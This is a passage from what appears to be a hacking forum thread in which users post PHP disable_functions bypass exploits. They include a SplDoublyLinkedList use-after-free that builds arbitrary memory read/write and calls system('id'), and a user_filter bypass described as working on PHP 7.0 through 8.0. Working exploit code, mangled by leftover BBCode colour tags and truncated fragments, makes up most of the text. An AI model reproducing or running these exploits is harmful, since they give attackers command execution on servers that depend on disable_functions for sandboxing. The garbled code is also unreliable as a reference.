COLOR][COLOR="#0000BB"]$binary_leak[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]leak[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$closure_handlers[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]8[/COLOR][COLOR="#007700"]);
if(!([/COLOR][COLOR="#0000BB"]$base[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]get_binary_base[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$binary_leak[/COLOR][COLOR="#007700"]))) {
die([/COLOR][COLOR="#DD0000"]"Couldn't determine binary base address"[/COLOR][COLOR="#007700"]);
}

if(!([/COLOR][COLOR="#0000BB"]$elf[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]parse_elf[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$base[/COLOR][COLOR="#007700"]))) {
die([/COLOR][COLOR="#DD0000"]"Couldn't parse ELF header"[/COLOR][COLOR="#007700"]);
}

if(!([/COLOR][COLOR="#0000BB"]$basic_funcs[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]get_basic_funcs[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$base[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$elf[/COLOR][COLOR="#007700"]))) {
die([/COLOR][COLOR="#DD0000"]"Couldn't get basic_functions address"[/COLOR][COLOR="#007700"]);
}

if(!([/COLOR][COLOR="#0000BB"]$zif_system[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]get_system[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$basic_funcs[/COLOR][COLOR="#007700"]))) {
die([/COLOR][COLOR="#DD0000"]"Couldn't get zif_system address"[/COLOR][COLOR="#007700"]);
}

[/
COLOR][COLOR="#FF8000"]# fake closure object
[/COLOR][COLOR="#0000BB"]$fake_obj_offset[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0xd0[/COLOR][COLOR="#007700"];
for([/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]b[/COLOR][COLOR="#007700"])([/COLOR][COLOR="#0000BB"]$cmd[/COLOR][COLOR="#007700"]);
exit();
}
[/
COLOR][/COLOR


Baskin-Robbins 21.11.2020 17:26

https://ssd-disclosure.com/ssd-advis...andbox-escape/

https://bugs.php.net/bug.php?id=80111

.SpoilerTarget" type="button">Spoiler: exploit

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]next() or
# $dll->prev() in the zval's destructor.
#
#

[/COLOR][COLOR="#0000BB"]error_reporting[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]E_ALL[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]define[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'NB_DANGLING'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]200[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]define[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'SIZE_ELEM_STR'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]40[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]24[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]define[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'STR_MARKER'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0xcf5ea1[/COLOR][COLOR="#007700"]);

function[/
COLOR][COLOR="#0000BB"]i2s[/COLOR][COLOR="#007700"](&[/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$p[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$x[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]8[/COLOR][COLOR="#007700"])
{
for([/COLOR][COLOR="#0000BB"]$j[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$j[/COLOR][COLOR="#007700"]>=[/COLOR][COLOR="#0000BB"]8[/COLOR][COLOR="#007700"];
}
}

function[/
COLOR][COLOR="#0000BB"]s2i[/COLOR][COLOR="#007700"](&[/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$p[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$x[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]8[/COLOR][COLOR="#007700"])
{
[/
COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];

for([/COLOR][COLOR="#0000BB"]$j[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$x[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$j[/COLOR][COLOR="#007700"]>=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$j[/COLOR][COLOR="#007700"]--)
{
[/
COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]offsetUnset[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#FF8000"]# At this point every $dll->current points to the same freed chunk. We allocate
# that chunk with a string, and fill the zval part
[/COLOR][COLOR="#0000BB"]$fake_dll_element[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]str_shuffle[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]str_repeat[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'A'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]SIZE_ELEM_STR[/COLOR][COLOR="#007700"]));
[/
COLOR][COLOR="#0000BB"]i2s[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fake_dll_element[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0x00[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0x12345678[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]# ptr
[/COLOR][COLOR="#0000BB"]i2s[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fake_dll_element[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0x08[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0x00000004[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]7[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]# type + other stuff

# Each of these dlls current->next pointers point to the same location,
# the string we allocated. When calling next(), our fake element becomes
# the current value, and as such its rc is incremented. Since rc is at
# the same place as zend_string.len, the length of the string gets bigger,
# allowing to R/W any part of the following memory
[/COLOR][COLOR="#007700"]for([/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]next[/COLOR][COLOR="#007700"]();

if([/COLOR][COLOR="#0000BB"]strlen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fake_dll_element[/COLOR][COLOR="#007700"]) [/COLOR][COLOR="#0000BB"]push[/COLOR][COLOR="#007700"]([[/COLOR][COLOR="#0000BB"]3[/COLOR][COLOR="#007700"]]);
[/
COLOR][COLOR="#0000BB"]$array_addr[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]s2i[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fake_dll_element[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$leaked_str_offsets[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]] +[/COLOR][COLOR="#0000BB"]0x18[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#FF8000"]# Change the zval type from zend_object to zend_string
[/COLOR][COLOR="#0000BB"]i2s[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fake_dll_element[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$leaked_str_offsets[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]] +[/COLOR][COLOR="#0000BB"]0x20[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0x00000006[/COLOR][COLOR="#007700"]);
if([/COLOR][COLOR="#0000BB"]gettype[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$rw_dll[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]]) !=[/COLOR][COLOR="#DD0000"]'string'[/COLOR][COLOR="#007700"])
die([/COLOR][COLOR="#DD0000"]'Exploit failed: Unable to change zend_array to zend_string'[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#FF8000"]# We can now read anything: if we want to read 0x11223300, we make zend_string*
# point to 0x11223300-0x10, and read its size using strlen()

# Read zend_array->pDestructor
[/COLOR][COLOR="#0000BB"]$zval_ptr_dtor_addr[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]read[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$array_addr[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]0x30[/COLOR][COLOR="#007700"]);

print
([/COLOR][COLOR="#DD0000"]'Leaked zval_ptr_dtor address: 0x'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]dechex[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$zval_ptr_dtor_addr[/COLOR][COLOR="#007700"]) .[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#FF8000"]# Use it to find zif_system
[/COLOR][COLOR="#0000BB"]$system_addr[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]get_system_address[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$zval_ptr_dtor_addr[/COLOR][COLOR="#007700"]);
print([/COLOR][COLOR="#DD0000"]'Got PHP_FUNCTION(system): 0x'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]dechex[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$system_addr[/COLOR][COLOR="#007700"]) .[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#FF8000"]# In the second freed block, we create a closure and copy the zend_closure struct
# to a string
[/COLOR][COLOR="#0000BB"]$rw_dll[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]push[/COLOR][COLOR="#007700"](function ([/COLOR][COLOR="#0000BB"]$x[/COLOR][COLOR="#007700"]) {});
[/
COLOR][COLOR="#0000BB"]$closure_addr[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]s2i[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fake_dll_element[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$leaked_str_offsets[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]] +[/COLOR][COLOR="#0000BB"]0x18[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]str_shuffle[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]str_repeat[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'A'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0x200[/COLOR][COLOR="#007700"]));

for([/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]push[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$fake_zend_closure[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]s2i[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fake_dll_element[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$leaked_str_offsets[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]] +[/COLOR][COLOR="#0000BB"]0x18[/COLOR][COLOR="#007700"]) +[/COLOR][COLOR="#0000BB"]24[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]i2s[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fake_dll_element[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$leaked_str_offsets[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]] +[/COLOR][COLOR="#0000BB"]0x18[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$fake_zend_closure[/COLOR][COLOR="#007700"]);
print([/COLOR][COLOR="#DD0000"]'Replaced zend_closure by the fake one: 0x'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]dechex[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fake_zend_closure[/COLOR][COLOR="#007700"]) .[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#FF8000"]# Calling it now

[/COLOR][COLOR="#007700"]print([/COLOR][COLOR="#DD0000"]'Running system("id");'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$rw_dll[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]]([/COLOR][COLOR="#DD0000"]'id'[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]print_r[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'DONE'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"]);
}
}

class[/
COLOR][COLOR="#0000BB"]DanglingTrigger
[/COLOR][COLOR="#007700"]{
function[/COLOR][COLOR="#0000BB"]__construct[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"])
{
[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]i[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"];
}

function[/COLOR][COLOR="#0000BB"]__destruct[/COLOR][COLOR="#007700"]()
{
global[/COLOR][COLOR="#0000BB"]$dlls[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#FF8000"]#D print('__destruct: ' . $this->i . "\n");
[/COLOR][COLOR="#0000BB"]$dlls[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]i[/COLOR][COLOR="#007700"]]->[/COLOR][COLOR="#0000BB"]offsetUnset[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$dlls[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]i[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]]->[/COLOR][COLOR="#0000BB"]push[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]123[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$dlls[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]i[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]]->[/COLOR][COLOR="#0000BB"]offsetUnset[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]);
}
}

class[/
COLOR][COLOR="#0000BB"]SystemExecutor[/COLOR][COLOR="#007700"]extends[/COLOR][COLOR="#0000BB"]ArrayObject
[/COLOR][COLOR="#007700"]{
function[/COLOR][COLOR="#0000BB"]offsetGet[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$x[/COLOR][COLOR="#007700"])
{
[/
COLOR][COLOR="#0000BB"]parent[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]offsetGet[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$x[/COLOR][COLOR="#007700"]);
}
}

[/
COLOR][COLOR="#FF8000"]/**
* Reads an arbitrary address by changing a zval to point to the address minus 0x10,
* and setting its type to zend_string, so that zend_string->len points to the value
* we want to read.
*/
[/COLOR][COLOR="#007700"]function[/COLOR][COLOR="#0000BB"]read[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$addr[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]8[/COLOR][COLOR="#007700"])
{
global[/COLOR][COLOR="#0000BB"]$fake_dll_element[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$leaked_str_offsets[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$rw_dll[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]i2s[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fake_dll_element[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$leaked_str_offsets[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]] +[/COLOR][COLOR="#0000BB"]0x18[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$addr[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]0x10[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]i2s[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fake_dll_element[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$leaked_str_offsets[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]] +[/COLOR][COLOR="#0000BB"]0x20[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0x00000006[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$value[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]strlen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$rw_dll[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]]);

if([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"]!=[/COLOR][COLOR="#0000BB"]8[/COLOR][COLOR="#007700"])
[/
COLOR][COLOR="#0000BB"]$value[/COLOR][COLOR="#007700"]&= ([/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]&&[/COLOR][COLOR="#0000BB"]$leak[/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]&&[/COLOR][COLOR="#0000BB"]$leak[/COLOR][COLOR="#007700"]next, push an element to the next list, and free current
# This will make sure that every current->next points the same memory block,
# which we will UAF.
[/COLOR][COLOR="#007700"]for([/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]push[/COLOR][COLOR="#007700"](new[/COLOR][COLOR="#0000BB"]DanglingTrigger[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]));
[/
COLOR][COLOR="#0000BB"]$dlls[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]]->[/COLOR][COLOR="#0000BB"]rewind[/COLOR][COLOR="#007700"]();
}

[/
COLOR][COLOR="#FF8000"]# We want our UAF'd list element to be before two strings, so that we can
# obtain the address of the first string, and increase is size. We then have
# R/W over all memory after the obtained address.
[/COLOR][COLOR="#0000BB"]define[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'NB_STRS'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]50[/COLOR][COLOR="#007700"]);
for([/
COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]push[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#FF8000"]# Setup the last DLlist, which will exploit the UAF
[/COLOR][COLOR="#0000BB"]$dlls[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]NB_DANGLING[/COLOR][COLOR="#007700"]] = new[/COLOR][COLOR="#0000BB"]SplDoublyLinkedList[/COLOR][COLOR="#007700"]();
[/
COLOR][COLOR="#0000BB"]$dlls[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]NB_DANGLING[/COLOR][COLOR="#007700"]]->[/COLOR][COLOR="#0000BB"]push[/COLOR][COLOR="#007700"](new[/COLOR][COLOR="#0000BB"]UAFTrigger[/COLOR][COLOR="#007700"]());
[/
COLOR][COLOR="#0000BB"]$dlls[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]NB_DANGLING[/COLOR][COLOR="#007700"]]->[/COLOR][COLOR="#0000BB"]rewind[/COLOR][COLOR="#007700"]();

[/
COLOR][COLOR="#FF8000"]# Trigger the bug on the first list
[/COLOR][COLOR="#0000BB"]$dlls[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]]->[/COLOR][COLOR="#0000BB"]offsetUnset[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]);
[/
COLOR][/COLOR


eminlayer7788 12.03.2021 12:19

Bypass Disable Functions to get things done

https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https://www.freebuf.com/articles/network/263540.html

crlf 06.10.2021 14:18

PHP 7.0-8.0 disable_functions bypass [user_filter]

https://github.com/mm0r1/exploits/tr...-filter-bypass

.SpoilerTarget" type="button">Spoiler: README.md
PHP 7.0-8.0 disable_functions bypass [user_filter]

This exploit uses a bug reported over 10 years ago. As usual, the PoC was tested on various php builds for Debian/Ubuntu/CentOS/FreeBSD with cli/fpm/apache2 server APIs and found to work reliably.

Targets
  • 5.* - exploitable with minor changes to the PoC
  • 7.0 - all versions to date
  • 7.1 - all versions to date
  • 7.2 - all versions to date
  • 7.3 - all versions to date
  • 7.4 - all versions to date
  • 8.0 - all versions to date
Fix

Stop relying on disable_functions (or any other php.ini settings) for security.

Post scriptum

There are many memory corruption vulnerabilities in PHP - some of them are publicly known, others are not. Regardless, PHP devs don't care much about these, as you can see in the bug reports.

This PoC is for demonstration purposes only. The exploits that could've been developed/used during the past decade might be not.

.SpoilerTarget" type="button">Spoiler: exploit.php

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]filtername[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]Pwn[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]alloc[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]STRING_SIZE[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]fclose[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]stream[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]go[/COLOR][COLOR="#007700"]();
return[/COLOR][COLOR="#0000BB"]PSFS_PASS_ON[/COLOR][COLOR="#007700"];
}

private function[/COLOR][COLOR="#0000BB"]go[/COLOR][COLOR="#007700"]() {
[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]abc[/COLOR][COLOR="#007700"]= &[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]filtername[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]make_uaf_obj[/COLOR][COLOR="#007700"]();

[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]helper[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]Helper[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]helper[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]b[/COLOR][COLOR="#007700"]= function([/COLOR][COLOR="#0000BB"]$x[/COLOR][COLOR="#007700"]) {};

[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]helper_addr[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]str2ptr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]CHUNK_SIZE[/COLOR][COLOR="#007700"]*[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]0x18[/COLOR][COLOR="#007700"]) -[/COLOR][COLOR="#0000BB"]CHUNK_SIZE[/COLOR][COLOR="#007700"]*[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]log[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"helper @ 0x%x"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]helper_addr[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]abc_addr[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]helper_addr[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]CHUNK_SIZE[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]log[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"abc @ 0x%x"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]abc_addr[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]helper_off[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]helper_addr[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]abc_addr[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]0x18[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]$helper_handlers[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]str2ptr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]CHUNK_SIZE[/COLOR][COLOR="#007700"]);
[/
